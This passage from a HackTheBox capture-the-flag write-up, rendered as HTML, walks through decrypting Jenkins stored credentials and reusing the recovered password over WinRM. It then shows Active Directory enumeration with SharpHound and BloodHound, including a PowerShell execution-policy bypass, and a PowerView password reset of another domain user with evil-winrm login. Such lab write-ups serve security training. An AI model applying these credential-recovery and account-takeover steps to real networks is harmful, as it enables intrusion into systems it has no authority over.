class="cl"&gt;2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHO&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2L&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzc&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;base64 -d 1.txt &amp;gt; hudson.util.Secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat hudson.util.Secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I started decrypting by downloading the file from the project above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0654.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It threw an error. I went back to following the GitHub instructions.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -L \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;https://github.com/hoto/jenkins-credentials-decryptor/releases/download/1.2.2/jenkins-credentials-decryptor_1.2.2_$(uname -s)_$(uname -m)&amp;#34; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -o jenkins-credentials-decryptor&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chmod +x jenkins-credentials-decryptor&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Their command uses &lt;code&gt;uname&lt;/code&gt; at the end to detect the system, so it was better to use that instead of downloading the file manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0655.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Same result. I checked the files several times and was certain there was nothing wrong with them.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0656.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Someone else had run into the same problem, but the author never replied.&lt;/p&gt;&#10;&lt;p&gt;I searched for the error message.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0657.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an explanation here. Based on the note, I could roughly understand what was happening: the file types of &lt;code&gt;hudson.util.Secret&lt;/code&gt; and &lt;code&gt;master.key&lt;/code&gt; might be wrong.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0658.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Because I copied and pasted it directly, &lt;code&gt;master.ket&lt;/code&gt; had become ASCII text. I tried to check what type it was on the target.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, after searching for a while, I could not find a Windows command that determines whether a file is binary. I decided to stick with Base64 so I would not have to worry about the file type.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0659.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was a complete waste of time. I went back to &lt;code&gt;config.xml&lt;/code&gt; and read it out with Base64 too, but it still did not work after decoding.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/tweksteen/jenkins-decrypt/" target="_blank" rel="noopener"&#10; &gt;https://github.com/tweksteen/jenkins-decrypt/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Here was another script.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0660.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0661.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After fixing it, I ran it again and got yet another error.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0662.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Very few of the scripts I have used lately seem to work out of the box; I always have to fix them myself. This error was very clear: the function had been removed in Python 3.9. After changing it, I ran into an encoding problem. I left that alone for the time being and switched to another project.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/thesubtlety/go-decrypt-jenkins?tab=readme-ov-file" target="_blank" rel="noopener"&#10; &gt;https://github.com/thesubtlety/go-decrypt-jenkins?tab=readme-ov-file&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0663.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It told me there was something wrong with &lt;code&gt;hudson.util.Secret&lt;/code&gt;. But looking at what I had done—Base64-encode it, decode it, and write it to a file—it should have been fine. I tried again, but the result was the same. I could not take it anymore, so I checked a write-up. Its steps were exactly the same as mine, with no difference at all.&lt;/p&gt;&#10;&lt;p&gt;I even copied their import command verbatim, but it still threw an error. I started wondering whether this software only broke on my machine. I was completely out of ideas. I even considered packaging that Python 3 file, converting it to Base64, and uploading it to the target.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0664.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But 150,000 lines was completely unrealistic.&lt;/p&gt;&#10;&lt;p&gt;After a lot of searching, I found the answer. On Kali, I habitually open files in Vim and write content into them. That was how I created &lt;code&gt;master.key&lt;/code&gt;, but doing so added one extra byte. &lt;code&gt;master.key&lt;/code&gt; should be 256 bytes. Whether I used Vim, &lt;code&gt;echo&lt;/code&gt;, or Base64 encoding and decoding, it always ended up as 257 bytes even though I definitely had not added a newline.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wc -c master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;257 master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It only became the correct 256 bytes after I pasted it into a file on Windows. I do not know why pasting it on Kali added a byte while pasting the same content on Windows gave exactly 256.&lt;/p&gt;&#10;&lt;p&gt;I moved the correct &lt;code&gt;master.key&lt;/code&gt; file from Windows back to Kali and, unsurprisingly:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0665.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0666.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything decrypted successfully. I had spent half the day fighting a bad file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0667.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Adding &lt;code&gt;-n&lt;/code&gt; also solves the issue. None of the other write-ups mentioned this. I suspect the issues I saw earlier had the same cause and nobody realized it.&lt;/p&gt;&#10;&lt;p&gt;Now I had the password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;id&amp;#34;: &amp;#34;320a60b9-1e5c-4399-8afe-44466c9cde9e&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;password&amp;#34;: &amp;#34;c1cdfun_d2434&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;username&amp;#34;: &amp;#34;oliver&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;code&gt;oliver&lt;/code&gt; had a home directory, so I could try credential reuse against WinRM.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0668.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in. Time for privilege escalation. Neither &lt;code&gt;whoami /priv&lt;/code&gt; nor &lt;code&gt;systeminfo&lt;/code&gt; revealed anything useful.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cmd /c &amp;#34;netstat -ano | findstr LISTENING&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0669.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The result matched my earlier UDP scan: this was a domain controller. Time to upload SharpHound.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;upload SharpHound-v2.5.9/SharpHound.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0670.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0671.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then I downloaded the output locally.&lt;/p&gt;&#10;&lt;p&gt;Strangely, the archive clearly contained data, but I could not import it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0672.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0673.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It would hang forever. I thought my BloodHound installation was broken, so I uploaded a ZIP I had collected previously. That one extracted and parsed successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0674.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So the file I had just collected was the problem.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/tysec/p/16811651.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/tysec/p/16811651.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I tried the method from this post, but that failed too.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://www.luckysec.cn/posts/7ebaa71c.html" target="_blank" rel="noopener"&#10; &gt;http://www.luckysec.cn/posts/7ebaa71c.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This post gave me the answer, but my data collector was already the latest version, so why did it not work? BloodHound 4.0.3 was supposed to be compatible at least, so I tried that.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0675.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was easy enough: extract it and run it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/BloodHoundAD/BloodHound/releases" target="_blank" rel="noopener"&#10; &gt;https://github.com/BloodHoundAD/BloodHound/releases&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./BloodHound --no-sandbox&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0676.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still no luck. I suspected another file issue. I rebooted Kali, but that did not help either. My only option was to check write-ups again and see whether anyone else had the same problem. Unfortunately, nobody did. One post did give me a clue, though: it was written in 2022 and used a 2022-era version of the collector. This collection step was what finally let me solve the issue. If someone runs into the same problem later, at least they will have a way around it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/BloodHoundAD/SharpHound/releases?page=3" target="_blank" rel="noopener"&#10; &gt;https://github.com/BloodHoundAD/SharpHound/releases?page=3&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0677.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Download the earliest version and use the PS1 file inside it for collection.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell -exec bypass -command &amp;#34;Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0678.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then start the latest BloodHound, not version 4.0.3. Mine was:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0679.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0680.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Import the newly collected file and it works. Finally! Maybe the target domain environment was too complex? Whatever the reason, the collector kept producing bad data that BloodHound could not parse.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0681.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I used the current user as the starting point to see how to escalate privileges. It was a bit messy, so I worked through it one step at a time. &lt;code&gt;net user&lt;/code&gt; had shown me two other users.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0682.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0683.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Their exact permissions were as follows.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0684.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0685.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0686.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The path was much clearer this way: change &lt;code&gt;smith&lt;/code&gt;&amp;rsquo;s password, then control &lt;code&gt;maria&lt;/code&gt; and use her to add &lt;code&gt;smith&lt;/code&gt; to Domain Admins.&lt;/p&gt;&#10;&lt;p&gt;Here is the overall path.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0687.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;With the path mapped out, I worked through it step by step.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0688.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;First, change &lt;code&gt;smith&lt;/code&gt;&amp;rsquo;s password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SecPassword = ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Cred = New-Object System.Management.Automation.PSCredential(&amp;#39;OBJECT.HTB\oliver&amp;#39;, $SecPassword)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$UserPassword = ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;upload /home/kali/Desktop/bruteratel/server_confs/PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword -Credential $Cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0689.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The &lt;code&gt;smith&lt;/code&gt; user seemed to have disappeared; it could not be found.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainUser&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0690.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did exist after all. Since I already had permission to change &lt;code&gt;smith&lt;/code&gt;&amp;rsquo;s password, I removed the credential argument at the end.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0691.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It ran without errors.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i object.htb -u smith -p Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0692.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in successfully. Next, I followed the help text for the next step. Again, I removed the explicit authentication because I was already &lt;code&gt;smith&lt;/code&gt;.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td 